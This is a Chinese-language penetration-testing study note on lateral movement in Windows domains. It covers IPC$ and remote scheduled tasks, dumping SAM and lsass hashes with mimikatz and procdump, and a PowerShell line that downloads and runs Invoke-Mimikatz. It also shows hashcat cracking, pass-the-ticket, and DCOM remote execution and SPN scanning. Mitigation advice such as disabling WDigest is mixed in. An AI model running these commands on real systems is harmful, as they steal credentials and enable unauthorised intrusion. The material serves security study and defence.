域内横向
0x01 常见windows远程连接和命令
1、IPC
net use \\192.168.0.100\IPC$ "password" /user:administrator
利用条件:
- 开启139、445端口
- 管理员开启了默认共享
常见错误号:
- 5:拒绝访问
- 51:网络错误
- 53:找不到路径
- 67:
- 1219
- 1326
- 1792
- 2242
2、windows自带工具
使用net use 建立IPC$后
dir \\192.168.0.100\c$
tasklist /S 192.168.0.100 /U administrator /P password
3、计划任务
at命令
Windows自带用于创建计划任务,主要用于win server 2008 之前版本
net time \\192.168.0.100 #查看远程主机系统时间
copy calc.bat \\192.168.0.100\C$ #使用copy将本地创建calc程序复制到远程主机C盘中
at \\192.168.0.100 6:00PM c:\calc.bat #指定时间运行程序
at \\192.168.0.100 7 /delete #这里的7要根据上一步中常见任务返回的计划任务ID来决定
schtasks命令
win Vista、win server 2008及之后版本将at替换的命令;更加灵活;
#在远程主机上创建名为“test”计划任务,该计划开机启动,启动程序为c盘下calc.bat,启动权限为System
schtasks create /s 192.168.0.100 /tn test /sc onstart /tr c:\calc.bat /ru system /f
#在远程主机上运行名为“test”计划任务
schtasks /run /s 192.168.0.100 /i /tn "test"
使用schtasks不需要输入密码,此前需建立IPC$,若没有IPC$,可以添加/u和/p参数
- /u:用户名
- /p:密码
- /f :强制停止
删除计划任务
schtasks /delete /s 192.168.0.100 /tn "test" /f
此后需要记住删除IPC$
net use 名称 /del /y
使用schtasks命令,C:\Windows\Tasks\SchedLgU.txt留下日志文件。可配合IPC$执行文件,type命令查看执行结果。
0x02 windows系统散列值获取
LM Hash 和NTLM Hash
LM Hash DES加密 密码不足14位用0补全 win Vista和win server 2008之后默认禁用LM Hash
NTLM Hash MD4加密
1、GetPass
2、PwDump7
3、QuarksPwDump
QuarksPwDump.exe --dump-hash-local
4、SAM和System文件抓取密码
无工具导出SAM文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
将导出来的system.hive和sam.hive文件放入和mimikatz同一目录,运行mimikatz
lsadump::sam /sam:sam.hive /system:system.hive
或者使用Cain读取
Cracker模块 选中“LM&NTLM”选项,单击加号按钮,选择“Import Hashes From a SAM databases” 导入SAM文件单击Next按钮。
或者使用mimikatz直接读取本地SAM文件,导出Hash信息(需要考虑免杀性)
priviliege::debug #提升权限
token::elevate #提升至system权限
lsadump::sam #读取本地SAM文件
5、使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
6、使用mimikatz离线读取lsass.dmp文件
导出lsass.dump文件
在windows NT6中可以直接任务管理器运行Dump操作。
也可以使用procdump导出lsass.dmp文件
http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
该工具为微软官方工具
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::mimidump lsass.dmp #出现switch to minidump表示加载成功
sekurlsa::logonPasswords full #导出散列值
7、使用powershell对散列值进行dump操作
管理员权限进入powershell环境进入Nishang,导入Get-PassHashes.ps1
Import-Module .\Get-PassHashes.ps1
8、使用Powershell远程加载mimikatz抓取散列值和明文密码
powershell IEX (New-Object Net.WebClient).DownloadString('http://Invoke-Mimikatz.ps1'); Invoke-Mimikatz
9、单机密码抓取防范
防止内存中明文显示密码,发布补丁KB2871997,关闭了Wdigest功能
win server 2012默认关闭Wdigest
reg add:
开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
powershell
开启Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
Hashcat获取密码
1、安装
make #编译
make isntall #安装
2、使用
使用语法:
hashcat.exe [选项] <哈希> <密码字典>
选项:
-m/--hash-type 哈希类型,如:-m 100 表示SHA-1哈希
-a/--attack-mode 攻击模式,如:-a 0 表示使用密码字典破解
哈希类型:
900 MD4
0 MD5
100 SHA-1
10 md5($pass.$salt)
20 md5($salt.$pass)
3710 md5($salt.md5($pass))
2600 md5(md5($pass))
5500 NetNTLMv1
5600 NetNTLMv2
16500 JWT (JSON Web Token)
11 Joomla < 2.5.18
400 Joomla >= 2.5.18 (MD5)
400 WordPress (MD5)
7900 Drupal7
131 MSSQL (2000)
132 MSSQL (2005)
1731 MSSQL (2012, 2014)
300 MySQL4.1/MySQL5
15000 FileZilla Server >= 0.9.55
1000 NTLM
500 MD5 Unix $1$
7400 SHA256 Unix $5$
1800 SHA512 Unix $6$
攻击模式:
0 Straight(密码字典)
1 Combination
3 Brute-force(掩码)
6 Hybrid Wordlist + Mask
7 Hybrid Mask + Wordlist
内置掩码:
?l 表示小写字母(abcdefghijklmnopqrstuvwxyz)
?U 表示大写字母(ABCDEFGHIJKLMNOPQRSTUVWXYZ)
?d 表示阿拉伯数字(0123456789)
?s 表示特殊符号(!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~)
常见选项
-show 仅展示已破解
-o,-outfile=FILE 定义散列文件
-n,-threads=NUM 线程数
--remove 破解密码从散列值中移除
--segment-size 512 设置内存缓存大小,单位MB
1、使用密码字典破解 MD5 哈希
hashcat64.exe -m 0 -a 0 5ec822debe54b1935f78d9a6ab900a39 password.txt
2、使用密码字典对多个 MD5 哈希进行破解
hashcat64.exe -m 0 -a 0 md5_list.txt password.txt
3、已知明文密码为8位数字,使用掩码进行破解,?d?d?d?d?d?d?d?d 表示8位数字
hashcat64.exe -m 0 -a 3 3d9865a2843dcb59e7a6296c894732a4
?d?d?d?d?d?d?d?d
4、使用多个密码字典进行破解,只有 -a 0 模式支持多个密码字典
hashcat64.bin -m 0 -a 0 hash_list.txt dict1.txt dict2.txt dict3.txt
5、破解 Linux 系统账号密码
hashcat64.exe -m 500 -a 0 $1$hwMSTWOB$UKQfietZMJquuQq3S5FHe1 password.txt
6、破解 JWT(json web token)
hashcat64.exe -a 0 -m 16500 "E:/jwt.txt" "E:/password.txt"
hashcat64.exe -a 3 -m 16500 "E:/jwt.txt" ?h?h?h?h?h?h?h
在线破解网站
防范攻击者抓取明文和散列值
1、设置Active Directory 2012 R2
Windows Server 2012 R2新增名为“受保护的用户”用户组。
将需要保护的用户加入“Protected Users”全局安全组
2、安装KB2871997
该补丁用于 PsExec或IPC远程查看(C$)问题,本地账号不再被允许远程接入计算机。
但系统默认管理员账号Administrator SID 500例外。所以安装补丁后仍需禁用该账号。
3、注册表禁用内存明文存储密码
WDigest协议
关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
注销后即可
查询该键值是否成功
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
4、防御mimikatz
Debug权限确定哪些用户将调试器附加到任何进程或内核中。默认限定为管理员Administrator所有。
minikatz在抓取散列或明文时需要使用Debug权限(读取lsass进程)
测试
privilege::debug
0x03哈希传递
Pass The Hash 通过找到和账户相关的密码散列值(一般NTLM Hash)进行攻击
Windows Server 2012 R2之后版本,默认内存不会存储明文密码。
早期使用LM Hash验证,当密码大于或等于15位时无法使用LM Hash。
明文口令 通过API(如LsaLogonUser)转换散列值
0x04票据传递
票据传递不需要本地管理员权限 (Pass The Ticket,PTT)
内存中票据导出
mimikatz "privilege::debug" "sekurlsa::tickets /export"
清楚内存票据
kerberos::purge
windows自带命令也可以
klist purge
将票据文件注入内存
mimikatz "kerberos::ptt" "票据路径"
使用kekeo进行票据传递
0x05 PsExec使用
该工具包含在PsTools中
通过管道在远程目标主机上创建一个psexec服务,并在本地磁盘生成一个名为“PSEXESVC”二进制文件,之后通过psexec服务运行命令,运行后删除服务。
metasploit中psexec模块
0x06 WMI使用
基本命令
impacket工具包中wmiexec
wmiexec.vbs
Invoke-WmiCommand
Invoke-WMIMethod
0x07 smbexec使用
C++版smbexec
impacket工具包中smbexec.py
linux跨windows远程命令
安装
使用
0x08 DCOM远程系统使用
DCOM 分布式组件对象模型
1、本地DCOM执行命令
1、获取DCOM列表
Get-CimInstance这个cmdlet(powershell命令行)默认在Powershell 3.0版本存在,也就是说只在windows server2012及以上版本才有。
Get-CimInstance Win32_DCOMApplication
powershell 2.0可使用以下代替
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
2、DCOM执行任意命令
本地启动管理员权限powershell,执行以下命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","[host/hostname]"))
$com.Document.ActiveView.ExecuteShellCommand('[programpath]',$null,"[parameter]","Minimized")
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
该方法使用ExecuteShellCommand运行程序,将“calc.exe”替换为恶意程序就可造成安全威胁。
2、DCOM远程执行命令
需关闭系统防火墙
1、通过ipc$连接远程计算机
net use \\[host] "[pass]" /user:"[user]" #建立IPC$连接
net use #查看连接记录
net use \\192.168.3.168 "admin!@#123" /user:0day.org\administrator
2、执行命令
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.3.168"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"[host/hostname]")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("'[programpath]'","[parameter]","",$null,0)
“C08AFD90-F2A1-11D1-8455-00A0C91F3880” 是ShellBrowserWindow 的Class ID (CLSID)。
“9BA05972-F6A8-11CF-A442-00A0C90A8F39” 是ShellWindows 的Class ID (CLSID)。
0x09 SPN在域环境应用
服务主体名称(SPN:Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。
如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。
如果用一句话来说明的话就是SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN,如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
- 当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
- 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
serviceclass/host[:port] [servicename]
SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。和网络端口扫描相比不会触发内网IPS、IDS色号被规则告警。因为SPN查询时Kerberos票据行为的一部分。
PowerShell-AD-Recon
发现MSSQL服务:
Discover-PSMSSQLServers.ps1 发现MSSQL服务
Discover-PSMSExchangeServers.ps1 发现Microsoft Exchange服务
Discover-PSInterestingServices.ps1 扫描所有SPN信息
也可以使用自带命令
setspn -T domain -q */*
setspn -T domain -F -Q */*
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
Kerberoast
https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/
0x10 Exchange邮件服务器
1、基本介绍
角色:
- 邮件服务器
- 客户端访问服务器
- 集线传输服务器
- 统一消息服务器
- 边缘传输服务器
协议及端口
- OWA
- EAC
- outlook anywhere
- MAPI(MAPI-over-HTTP,MAPI/HTTP)
- Exchange ActiveSync(EAS,XML/HTTP)
- Exchange Web Service(EWS,SOAP-over-HTTP)
2、相关操作
Exchange服务发现
setspn -T test.com -F -Q */*
Exchange数据库后缀为.edb,为保证可用性,一般需要两台以上服务器。